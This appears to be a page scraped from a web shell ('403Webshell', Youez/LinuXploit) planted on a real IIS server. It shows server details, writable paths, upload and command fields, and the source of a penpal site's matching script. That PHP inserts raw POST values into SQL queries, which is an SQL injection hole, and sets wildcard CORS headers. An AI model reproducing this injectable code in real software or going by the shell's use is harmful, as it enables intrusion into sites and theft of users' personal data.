403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/penpalamerica.com/wwwroot/penpal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/penpalamerica.com/wwwroot/penpal/penpalmatch.php
<?php

include "general.php";
include "connect.php";

if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
    header('Access-Control-Allow-Origin : *');
    header('Access-Control-Allow-Methods : POST, GET, OPTIONS, PUT, DELETE');
    header('Access-Control-Allow-Headers : *');
    exit;
}






$email_u =$_POST["email_u"];
$email_f =$_POST["email_f"];
$name =$_POST["name"];
$genderSearch=$_POST["genderSearch"];
$domain =$_POST["domain"];

$query = "Select photo_url1,profileMessage,name from penpal where email ='$email_u' and domain ='$domain' and deleteaccount='0'";
$myresponse =getQuery3($query); 
$splitResponse = explode(",", $myresponse);
    $photo_url1 = $splitResponse[0];
    $profileMessage = $splitResponse[1];
    $myname  = $splitResponse[2];


//check if friend  already exists
$query = "Select email_f from penpalFriendMatch where email_u ='$email_f' and email_f='$email_u' and domain ='$domain' and deleteaccount='0'";
//echo $query;
$myresponse =getQuery1($query); 
//echo $response;

$items= [];
if ($myresponse == "#"){

// not a matach yet so insert to the penpal match table.



      
	
	$query ="insert into penpalFriendMatch (email_u,email_f,response_u,domain) VALUES ('$email_u','$email_f','1','$domain')";
	//echo $query;
	$queryresponse = updateQuery($query);  
	      
	 $items[] = [
       	   'response' => "0",
	   'email' => $email_u,
 	   'genderSearch' => $genderSearch
           ];
	   echo json_encode($items);
        die();
   }else{
 	$query ="update penpalFriendMatch set response_f ='1' where  email_u ='$email_f' and email_f='$email_u' and domain ='$domain'";
	$queryresponse = updateQuery($query);     
	 $items[] = [
       	   'response' => "1",
	   'email' => $email_u,
	   'name' => $name,
 	   'genderSearch' => $genderSearch,
 	   'profileMessage' => $profileMessage,
           'photo_url1' => $photo_url1,
	   'myname' => $myname
           ];
	   echo json_encode($items);
        die();
  
}




?>

Youez - 2016 - github.com/yon3zu
LinuXploit